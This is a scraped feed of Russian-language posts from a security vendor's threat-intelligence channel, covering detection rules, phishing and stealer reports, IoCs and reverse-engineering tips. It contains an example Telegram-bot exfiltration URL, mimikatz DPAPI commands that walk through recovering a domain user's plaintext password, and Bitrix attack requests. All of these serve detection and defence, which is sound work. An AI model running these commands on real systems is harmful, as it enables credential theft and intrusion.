ESCalator
3.98K subscribers
227 photos
1 video
1 file
95 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
👏 Раз-два — и готово. Генерируем FLIRT-сигнатуры

А делаем это, чтобы не тратить время на распознавание библиотечного кода PureBasic, на котором написан COM-DLL-Dropper группировки ExCobalt.

Для начала нам понадобится компилятор PureBasic. Скачав его и установив или распаковав, найдем все .lib-файлы. Далее нам понадобятся входящие в состав Flair инструменты:

pcf — парсер файлов .lib и .obj, создает PAT-файл из COFF-файлов.
sigmake — конвертирует ранее созданный PAT-файл в SIG-файл для IDA.

С их помощью мы и сгенерируем сигнатуры. Чтобы автоматизировать создание PAT-файла, будем использовать BAT-файл со следующим содержимым:


@echo off

\path\pcf.exe -a \path\Debugger.lib
\path\PureBasic_x86.pat
\path\pcf.exe -a \path\libmariadb.lib
\path\PureBasic_x86.pat
...


После получения PAT-файла нам нужно преобразовать его в SIG-файл. Для этого выполним следующую команду:


\path\sigmake.exe -n"PureBasic_Windows_X86_LTS_6.03" \path\PureBasic_x86.pat \path\PureBasic_x86.sig


Так как произошли коллизии при генерации сигнатур, получаем следующий список файлов:

— PureBasic_x86.err,
— PureBasic_x86.exc,
— PureBasic_x86.pat.

При отсутствии коллизий сразу получили бы готовый SIG-файл. Для их устранения нужно отредактировать EXC-файл. Пример коллизии:


_PB_WriteFloat@8 0B 5366........E8........85C0742D83780400
_PB_WriteInteger@8 0B 5366........E8........85C0742D83780400
_PB_WriteLong@8 0B 5366........E8........85C0742D83780400


Видим, что три функции имеют одну и ту же сигнатуру, — нам необходимо выбрать, какую из них использовать.

Слева, рядом с именем нужной функции, ставим +. В этом случае коллизия коснулась функций, идентичных по назначению, и мы можем выбрать любую:


_PB_WriteFloat@8 0B 5366........E8........85C0742D83780400
+_PB_WriteInteger@8 0B 5366........E8........85C0742D83780400
_PB_WriteLong@8 0B 5366........E8........85C0742D83780400


Но бывает, когда она касается функций с совершенно противоположным назначением, — можно выбрать любую, но запомнить или записать ее: это пригодится, когда будет получен результат.

Нужно также удалить строку --------- в EXC-файле, чтобы выбор учитывался при повторной генерации сигнатур:


;--------- (delete these lines to allow sigmake to read this fil
; add '+' at the start of a line to select a module
; add '-' if you are not sure about the selection
; do nothing if you want to exclude all modules


После того как действие будет проделано для всех коллизий, нужно повторить генерацию. Если все сделано правильно, мы получим SIG-файл. Его следует положить в:


%IDA Home%\sig\pc


#reverse #tips #ComDllDropper #ExCobalt #APT #TI
@ptescalator
Форму авторизации видишь? Нет. Вот и я не вижу. А она есть 🤔

В ходе недавнего расследования одного из инцидентов мы столкнулись с эксплуатацией злоумышленниками уязвимости в CMS Bitrix, связанной со множеством доступных эндпойнтов для аутентификации.

Несмотря на то, что данная уязвимость не является новой, ей все еще подвержено немалое количество веб-сайтов.

Многие администраторы закрывают доступ к странице /bitrix/admin, при этом не догадываясь, что есть еще ряд скриптов, использующих компонент prolog_admin_before.php, благодаря которому можно получить доступ к форме авторизации 🤕

Среди них можно выделить:


— /bitrix/components/bitrix/desktop/admin_settings.php
— /bitrix/components/bitrix/map.yandex.search/settings/settings.php
— /bitrix/components/bitrix/player/player_playlist_edit.php
— /bitrix/tools/autosave.php
— /bitrix/tools/get_catalog_menu.php
— /bitrix/tools/upload.php


Именно эндпойнт player_playlist_edit.php был использован злоумышленниками для аутентификации:


POST /bitrix/components/bitrix/player/player_playlist_edit.php?login=yes


Вероятно, для доступа к системе использовались стандартные учетные данные, так как в логах веб-сервера мы увидели всего лишь несколько POST-запросов, предшествующих началу сессии.

👀 Эта уязвимость — наряду со многими другими — описана в отчете об уязвимостях Bitrix (п. 1.4.1).

Судя по всему, этим же отчетом пользовались и злоумышленники во время атаки: некоторые запросы, полностью совпадающие с приведенными в тексте отчета, были обнаружены нами при анализе логов. Например:


GET /ololo/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/


Помимо того, атакующие осуществляли запрос к каждому из приведенных выше эндпойнтов для аутентификации.

#dfir #detect #cve #web
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Снова пропустили момент запуска фишингового вложения? 📩

А что? Бухгалтерша уверена, что это был «счет на оплату» от проверенного банка. Пора уже научить SIEM-системы предупреждать вас об аномалиях, связанных с запуском вредоносных почтовых вложений!

Делимся с вами несколькими идеями для правил корелляции. Это первая часть. Скоро опубликуем еще 😉

1️⃣ Злоумышленники могут злоупотреблять двойным расширением в имени файла как средством маскировки настоящего типа файла.

Такие файлы часто используются во время фишинговых рассылок. Рекомендуется мониторить события запуска процесса (Windows 4688, Sysmon 1), в которых имя процесса заканчивается двойным расширением. В таких событиях сначала указываются популярные безобидные форматы файлов:


.doc, .docx, .docm, .dot, .htm, .html, .odt, .pdf, .rtf, .txt, .xml, .csv, .xls, .xlsx, .xlsm, .zip, .zipx, .rar, .jar, .tar, .tar-gz, .tgz, .gz, .gzip, .7z, .pps, .ppsx, .ppt, .pptm, .pptx, .jpg, .jpeg, .gif, .png, .gif, .bmp, .raw, .tiff, .psd, .heif, .mp4, .mov, .wmv, .avi, .flv, .swf, .mkv


А затем — расширение исполняемого файла (.exe, .scr, .com), например: Счет_на_оплату_465937.doc.exe.

Пример regex-фильтра:


\.(doc|docx|docm|dot|htm|html|odt|pdf|rtf|txt|xml|csv|xls|xlsx|xlsm|zip|zipx|rar|jar|tar|tar-gz|tgz|gz|gzip|7z|pps|ppsx|ppt|pptm|pptx|jpg|jpeg|gif|png|gif|bmp|raw|tiff|psd|heif|mp4|mov|wmv|avi|flv|swf|mkv)\.(exe|scr|com)$


2️⃣ Выявлять подозрительные исходящие соединения от приложений Microsoft Office можно на основе событий Windows 5156 или Sysmon 3 с destination-портом 445, от имени процессов:


"winword.exe", "excel.exe", "powerpnt.exe", "visio.exe", "mspub.exe", "eqnedt32.exe", "outlook.exe"


3️⃣ Полезно обращать внимание на открытие пользователем документов Microsoft Offiсe с макросом, а также мониторить связку событий запуска процесса приложения Microsoft Offiсe (Windows 4688, Sysmon 1; процессы: "winword.exe", "excel.exe", "powerpnt.exe", "msaccess.exe", "onenote.exe", "outlook.exe", "visio.exe", "winproj.exe").

И загрузки с помощью этого процесса библиотеки VBE7 (Sysmon 7; ImageLoaded = VBE7.DLL).

4️⃣ Атакующие могут отправить вредоносный документ в мессенджер, поэтому рекомендуется выявлять запуск процесса от родительского процесса мессенджера на основе событий Windows 4688, Sysmon 1 с родительскими процессами ParentProcessName:


"skype.exe", "telegram.exe","whatsapp.exe", "teams.exe", "lync.exe"


С разными значениями в полях ParentProcessName и NewProcessName.
_

Подписывайтесь на @ptescalator, чтобы не пропустить вторую часть рекомендаций, которую мы опубликуем на следующей неделе 😏

#tips
@ptsecaltaor
Как и обещали, делимся второй частью идей правил корреляции для SIEM-систем 👨‍💻

Первую часть можно найти в этом посте.

5️⃣ Выявлять подозрительную последовательность запуска процесса приложением Microsoft Office можно на основе событий запуска процесса *.exe Windows 4688 Sysmon 1 с родительскими процессами ParentProcessName ("winword.exe", "excel.exe", "powerpnt.exe", "visio.exe", "mspub.exe", "eqnedt32.exe", "outlook.exe", "acrord32.exe") с разными значениями в полях ParentProcessName и NewProcessName.

Исключения для NewProcessName:


"winword.exe", "excel.exe", "powerpnt.exe", "eqnedt32.exe", "outlook.exe", "msosync.exe", "chrome.exe", "firefox.exe", "msedge.exe", "launcher.exe", "browser.exe", "acrord32.exe", "acrobat.exe", "rdrcef.exe", "adobearm.exe", "splwow64.exe", "visio.exe".


6️⃣ Рекомендуем выявлять создание исполняемых файлов офисными программами:

события создания процесса (Windows 4688, Sysmon 1);

с именами Image: "winword.exe", "excel.exe", "powerpnt.exe", "visio.exe", "mspub.exe", "eqnedt32.exe", "outlook.exe", "msaccess.exe";

расширение TargetFilename:


.exe, .bat, .com, .cmd, .dll, .cpl, .msi, .sys, .scr, .ps1, .hta


7️⃣ Офисная программа загружает DLL-библиотеку COM-объекта Internet Explorer (ieproxy.dll):

события Sysmon 7;

с именами Image: "winword.exe", "excel.exe", "powerpnt.exe", "visio.exe", "mspub.exe", "eqnedt32.exe", "outlook.exe", "msaccess.exe".

значение "ieproxy.dll" в поле ImageLoaded.

#tips #siem #detect
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Телега с хакерами

Согласно последним тенденциям (например, Lazy Koala), злоумышленники все чаще прибегают к эксфильтрации данных или С2-каналу через мессенджер Telegram.

Это и правда просто: достаточно отправить такой веб-запрос, чтобы передать чувствительную информацию (например, пароли) с любого компьютера вашей инфраструктуры:


https://api.telegram.org/bot$BOT_TOKEN/sendMessage?text=LEAKED_PASSWORDS&chat_id=xxxx


Таким образом, злоумышленники пытаются спрятать свою сетевую активность в потоках легитимных сетевых сессий к Telegram, которым сейчас пользуются практически везде.

Не учли злоумышленники только одного: сетевой трафик от десктопного или мобильного приложения Telegram и веб-запрос к API сильно отличаются.

Telegram API — это в том числе инструмент автоматизации и управления ботами. Если в вашей организации его и используют, то с определенных хостов и в ограниченном количестве.

🚩 Появление таких запросов с машины пользователя — красный флаг для ваших средств защиты. А найти такие сетевые сессии легко — одним запросом к NTA-системе:


tls.server_name == "api.telegram.org"


#detect #network #tip
@ptescalator
✈️ В последнем посте мы рассказали, что Telegram становится популярнее у хакеров в парадигме C2 as a service

Эксфильтрация данных жертв в Telegram-боты злоумышленников может происходить не только со стационарных компьютеров или ноутбуков, но и с мобильных устройств. Как раз о таких стилерах мы выпустили исследование сегодня.

🇮🇩 Чаще всего жертвами атак являются жители Юго-Восточной Азии, преимущественно Индонезии. В исследовании мы выделили два семейства вредоносного ПО под Android, перехватывающего SMS-сообщения и транслирующего их в Telegram-боты. Эти семейства мы назвали SMS Webpro и NotifySmsStealer.

С их помощью хакеры перехватывали уведомления от приложений типа WhatsApp или банковских сервисов, выгружали фотографии с устройства.

Основной вектор заражения — фишинг через WhatsApp. В сообщениях хакеры рассылают либо сами вредоносные APK-файлы, либо ссылки на них. По нашим предположениям, цель злоумышленников — перехватить одноразовый пароль от личного кабинета в онлайн-банке, войти в аккаунт жертвы и украсть денежные средства.

#tips #android #cybercrime #TI
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
📬 Как злоумышленники меняют подход к написанию фишинговых писем

Недавно мы наткнулись на письмо с вредоносным вложением, отправленное группой Hive0117. Интересен подход к написанию: письмо сильно отличается от обычных рассылок, довольно прямолинейно манипулирующих эмоциями получателя с помощью акцента на срочности и попыток вызвать чувство страха.

1️⃣ Оно выглядит как ответ на какое-то старое сообщение, ведь люди склонны больше доверять уже знакомым отправителям, чем новым. Оказалось, что почтовый аккаунт адресанта был взломан и это ответ на настоящее письмо из прошлого.

2️⃣ Срочность не обозначается явно, а подразумевается: якобы сейчас проходит налоговая проверка.

3️⃣ Чтобы почтовый шлюз не обнаружил вредоносных вложений, злоумышленники часто используют запароленные архивы. В этом случае применение пароля оправдывалось тем, что документы конфиденциальные. Это вызывало меньше подозрений.

4️⃣ Поскольку Hive0117 является финансово мотивированной группой, их цель — бухгалтерия организаций. Поэтому под предлогом налоговой проверки злоумышленники попросили отправить вредоносное вложение настоящей цели — бухгалтеру. Во-первых, в этом случае злоумышленникам не нужно было знать его почтовый адрес. Во-вторых, письмо присланное от коллеги вызывает значительно больше доверия, чем от внешнего отправителя.

IoCs:

Документ из налоговой(запрос).rar
a7712ac6ff3873f0106e16385e4b9b30
ba647a209c8d112f00a320a693f83827682e7e52
f226edad9d3a17d28008b376773bca62507d40494c5a1def5c8704a1bb815bae

Документ из налоговой(запрос).exe 
85c8c66c34bb60e09e68f882831b1751
f96d695d04f0198fab85aa9bac66799cf2e710ed
8b309519bbb64be63ea3cf0f1ef58c5b36bbb5bf37d39f879ffb55d354937e16


fb0bf2b1.shop
185.189.13.113
http://fb0bf2b1.shop/index.php


#TI #Hive0117 #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
DPAPI — популярный вектор для атак на ОС семейства Windows 💻

Ключи Wi-Fi, сертификаты, учетные данные, cookies браузеров, DropBox, Skype — и это только часть мишеней, на которые нацелены злоумышленники.

Сегодня разберем, что произойдет, если у пользователя сохранены учетные данные на рабочей станции, введенной в домен Active Directory, а злоумышленник загрузил на нее всем знакомый Mimikatz.

👀 Для начала рассмотрим, как связан DPAPI с учетными данными пользователей и другими секретами.

Интерфейс DPAPI используется компанией Microsoft в Windows с 2000-го года. Он позволяет хранить чувствительные данные пользователя в шифрованном виде.

Что использует этот интерфейс для шифрования данных?

• SID пользователя;
• hash пароля;
• Masterkey — ключевую сущность, за которой будут охотиться злоумышленники.

Masterkey в свою очередь генерируется из так называемых prekey и 64 рандомных байт. SID, hash пароля пользователя и Masterkey путем криптографических манипуляций образуют blob. Поэтому для расшифрования злоумышленнику нужно знать конкретный blob, который нужно расшифровать, Masterkey в открытом виде, hash пароля пользователя и его SID для расшифровки.

🗂 Упомянутые объекты и параметры содержатся в различных папках и ветках реестра. Нам интересны следующие папки:

Папка с сredential blob

\Users\<user>\appdata\local\microsoft\credentials\<credential blob>


Папка с файлами пользовательских mastekeys


\Users\%USER%\AppData\Roaming\Microsoft\Protect\%SID%\


Папка с файлами приватных RSA-ключей

%APPDATA%\Roaming\Microsoft\Crypto\RSA\<SID>\


У одного пользователя может быть несколько masterkeys на узле. Злоумышленник сначала должен будет узнать, какой masterkey используется сейчас для blob с учетными данными.

Находясь на узле и загрузив Mimikatz, злоумышленник может найти эту информацию, прочитав свойства внутри blob с помощью команды mimikatz:


dpapi::cred /in:C:\users\<username>\appdata\local\microsoft\credentials\<blob>


💡 Дисклеймер: если команды будут выполняться через Cobalt Strike или другой C2, то синтаксис команд будет другой.

Для корректной идентификации Masterkey необходимо обратить внимание на параметр guidMasterkey — это идентификатор Masterkey, который использовался для шифрования этого blob. Благодаря тому, что в нашем случае рабочая станция введена в домен и имеет с ним связь, можно запросить резервный RSA-ключ с контроллера домена.

Здесь важно отметить, что злоумышленник может запросить его только для своего авторизованного пользователя. Для того чтобы запросить этот ключ для всех пользователей и расшифровать все Masterkeys, понадобятся права доменного администратора.

Запрос RSA-ключа на контроллер домена будет выполнен со службы MS-BKRP (backupkey remote protocol) RPC:


dpapi::masterkey /in:C:\users\<username>\appdata\roaming\microsoft\protect\<SID>\<masterkey> /rpc


В ответ злоумышленнику придет masterkey в открытом виде (параметр key:) и его sha1 hash.

После этого он может попытаться расшифровать учетные данные пользователя и получить пароль в открытом виде.

Сделает он это с помощью команды:


dpapi::cred /in:C:\users\<username>\appdata\local\microsoft\credentials\<blob> /masterkey:<masterkey_as_plain_text>


И получит на выходе в параметре CredentialBlob: пароль скомпрометированного пользователя 💻

#DPAPI #win #hunt #ti
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
ESCalator
DPAPI — популярный вектор для атак на ОС семейства Windows 💻 Ключи Wi-Fi, сертификаты, учетные данные, cookies браузеров, DropBox, Skype — и это только часть мишеней, на которые нацелены злоумышленники. Сегодня разберем, что произойдет, если у пользователя…
🔦 Для обнаружения активности можно использовать комбинацию событий на атакованной рабочей станции (1, 2) и контроллере домена (3):

1. Event ID 4663, применение права доступа к объекту. Здесь под объектами понимается содержимое упомянутых выше папок с credential blob, пользовательскими masterkeys и приватными RSA-ключами. Обращения к объектам этих папок будут выполнены в контексте скомпрометированного пользователя.

2. Установка TCP-соединения с DC, Sysmon 3 по порту 445. Проверить его доступность можно, создав в контексте скомпрометированного пользователя именованный канал Sysmon 17 с параметром PipeName: \\protected_storage.

3. Доступ к сетевому ресурсу с Event ID 5145. Несмотря на многочисленность событий, это событие можно связать с предыдущими, так как обращение выполняется в контексте скомпрометированного пользователя к общей папке \\IPC$\Protected_Storage, которая уже упомянута во втором пункте. Обращение к Protected_Storage — один из индикаторов возможных манипуляций с DPAPI.

#detect
@ptescalator
🤨 Добавляете закладки в опенсорс-репозитории? Молодой человек, пройдемте.

В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью сервиса PT PyAnalysis.

Тенденция такова, что не проходит и недели без троянов ☕️. При этом злоумышленники загружают не только полнофункциональные инфостилеры, но и свои маленькие пробы пера.

PT PyAnalysis очернил проекты нескольких разработчиков за последние дни, расскажем о самых интересных поделках:

🤔 Скрины 1, 2. Кампания с Android-стилером, содержащим арабские комментарии. Он отправляет файлы через телеграм-бот (как их детектить в сетевом трафике своей инфраструктуры мы писали здесь), токен которого вшит в коде. Пакеты имеют название вида raquest, ebell.

🤔 Скрин 3. Серия клипперов (троянов, ворующих данные из буфера обмена — clipboard), косящих под проверки лицензии. Закрепляются на устройствах под управлением Windows, добавляя запись автозагрузки в реестр. Слушают буфер обмена каждую секунду, в случае изменений отправляют данные в дискорд-канал. Пакеты имеют названия вида testjsonn1, testjson2, gentorqkkh.

🤔 Скрины 4, 5. Стилер, обходящий диски в поисках файлов .env, добывающий ключи SSH из стандартных путей и отправляющий все добро на сервер злоумышленника с помощью утилиты curl. Имеет логику, зависящую от целевой платформы: отдельную — для Windows, отдельную — для Linux и MacOS. Пакет: popeye-pip-v3. Имя разработчика говорит само за себя: shyam_the_hacker.

Уведомили Python Package Index, пакеты выпилены 👋

Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав raquest вместо requests, такие пакеты могут попасть к вам через транзитивные зависимости. Построение внутреннего защищенного зеркала — сложный, но жизненно важный элемент для обеспечения современной безопасной разработки ❤️

#ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
В начале 2024 года наша команда выявила применение ВПО Cobint в инфраструктуре заказчиков 🥷

Это ВПО активно использует группировка (Ex)Cobalt при атаках на российские компании (прочитать подробнее о Cobint можно в нашем блоге: здесь и здесь).

В атаках использовался специфический Powershell-загрузчик, который распаковывал и выполнял полезную нагрузку в памяти, а также загружал следующий стейдж с C2-сервера.

Интересная особенность загрузчика — использование Windows API функции InternetReadFile для загрузки стейджа с C2-сервера, вследствие чего зашифрованный стейдж может оставаться в кэше Internet Explorer, который располагается по пути:

\%User%\AppData\Local\Microsoft\Windows\InetCache\IE\


Зачастую ВПО запускается под учетными данными System или NetworkService, в этом случае индикатором может служить появление в кэше соответствующих пользователей файлов с длинными рандомными именами, например:

\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\IE\adubiyzhofbsewzzvbyesa[1]
\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\kmduvjhwxevabeyuzafwe[1]


Анализ ВПО Cobint, полезные фишки, а также способы автоматизации расшифровки полезной нагрузки — ищите в статье на «xakep.ru».

#detect #malware #dfir #cobint #excobalt
@ptescalator